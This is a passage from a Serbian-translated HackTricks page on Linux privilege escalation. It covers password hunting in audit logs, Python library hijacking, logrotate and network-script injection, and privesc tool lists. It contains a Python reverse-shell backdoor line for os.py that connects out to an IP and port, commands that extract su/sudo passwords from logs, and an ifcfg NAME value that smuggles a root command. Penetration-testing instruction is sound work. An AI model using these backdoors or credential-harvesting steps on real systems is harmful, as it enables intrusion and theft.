Još jedan interesantan alat koji možete koristiti za to je: LaZagne koji je open source aplikacija koja se koristi za dobijanje velikog broja lozinki sačuvanih na lokalnom računaru za Windows, Linux & Mac.

Logovi

Ako možete čitati logove, možda ćete moći da pronađete zanimljive/poverljive informacije u njima. Što je log čudniji, to će verovatno biti zanimljiviji.
Takođe, neki “loše” konfigurisani (backdoored?) audit logovi mogu vam omogućiti da zabeležite lozinke unutar audit logova kao što je objašnjeno u ovom postu: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Da biste mogli da čitati logove, grupa adm će biti zaista korisna.

Shell fajlovi

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generička Creds Search/Regex

Takođe treba da proverite fajlove koji u svom imenu ili u samom sadržaju sadrže reč “password”, i takođe proverite IPs and emails unutar logova, ili hashes regexps.
Neću ovde nabrajati kako se sve to radi, ali ako vas zanima možete proveriti poslednje provere koje izvršava linpeas.

Datoteke sa pristupom za pisanje

Python library hijacking

If you know from odakle a python script is going to be executed and you can write inside that folder or you can modifikovati python biblioteke, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).

To backdoor the library just add at the end of the os.py library the following line (promenite IP i PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

Ranljivost u logrotate-u omogućava korisnicima sa write permissions na fajl sa logovima ili njegovim roditeljskim direktorijumima potencijalno da dobiju eskalaciju privilegija. To je zato što logrotate, koji često radi kao root, može biti manipulisan da izvrši proizvoljne fajlove, posebno u direktorijumima kao što je /etc/bash_completion.d/. Važno je proveriti permisije ne samo u /var/log već i u bilo kom direktorijumu gde se primenjuje rotacija logova.

Tip

Ova ranjivost utiče na logrotate verziju 3.18.0 i starije

Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Možete iskoristiti ovu ranjivost pomoću logrotten.

Ova ranjivost je veoma slična CVE-2016-1247 (nginx logs), tako da kad god otkrijete da možete izmeniti logs, proverite ko upravlja tim logovima i da li možete eskalirati privilegije zamenom logova symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Ako iz bilo kog razloga korisnik može write ifcf-<whatever> script u /etc/sysconfig/network-scripts ILI može adjust postojeći, onda je vaš system pwned.

Network scripts, ifcg-eth0 na primer, se koriste za network connections. Izgledaju tačno kao .INI fajlovi. Međutim, oni su ~sourced~ na Linuxu od strane Network Manager (dispatcher.d).

U mom slučaju, atribut NAME= u ovim network script-ovima se ne obrađuje ispravno. Ako imate white/blank space u imenu sistem pokuša da izvrši deo nakon white/blank space. To znači da je sve nakon prvog blank space izvršeno kao root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Napomena: obratite pažnju na razmak između Network i /bin/id)

init, init.d, systemd, and rc.d

Direktorijum /etc/init.d sadrži skripte za System V init (SysVinit), klasični Linux sistem za upravljanje servisima. Uključuje skripte za start, stop, restart i ponekad reload servise. One se mogu izvršavati direktno ili kroz simboličke linkove koji se nalaze u /etc/rc?.d/. Alternativna putanja na Redhat sistemima je /etc/rc.d/init.d.

Sa druge strane, /etc/init je povezan sa Upstart, novijim sistemom za upravljanje servisima koji je uveo Ubuntu, i koristi konfiguracione fajlove za upravljanje servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste pored Upstart konfiguracija zbog sloja kompatibilnosti ugrađenog u Upstart.

systemd predstavlja moderan init i service manager, koji nudi napredne funkcije kao što su on-demand pokretanje demona, upravljanje automount-ovima i snimci stanja sistema. Organizuje fajlove u /usr/lib/systemd/ za pakete distribucije i /etc/systemd/system/ za izmene administratora, pojednostavljujući administraciju sistema.

Other Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks često presreću syscall kako bi izložili privilegovanu kernel funkcionalnost userspace manageru. Slaba autentikacija managera (npr. provere potpisa zasnovane na FD-order ili loše šeme lozinki) može omogućiti lokalnoj aplikaciji da se lažno predstavi kao manager i eskalira privilegije do root na uređajima koji su već root-ovani. Saznajte više i pogledajte detalje exploitacije ovde:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-driven service discovery u VMware Tools/Aria Operations može izvući putanju binarija iz command line-ova procesa i izvršiti je sa -v pod privilegovanim kontekstom. Permisivni paterni (npr. korišćenje \S) mogu poklopiti listener-e koje je napadač postavio u upisivim lokacijama (npr. /tmp/httpd), što dovodi do izvršenja kao root (CWE-426 Untrusted Search Path).

Saznajte više i pogledajte generalizovani obrazac koji se može primeniti i na druge discovery/monitoring stackove ovde:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel Security Protections

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumeriše kernel ranjivosti u Linux i MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks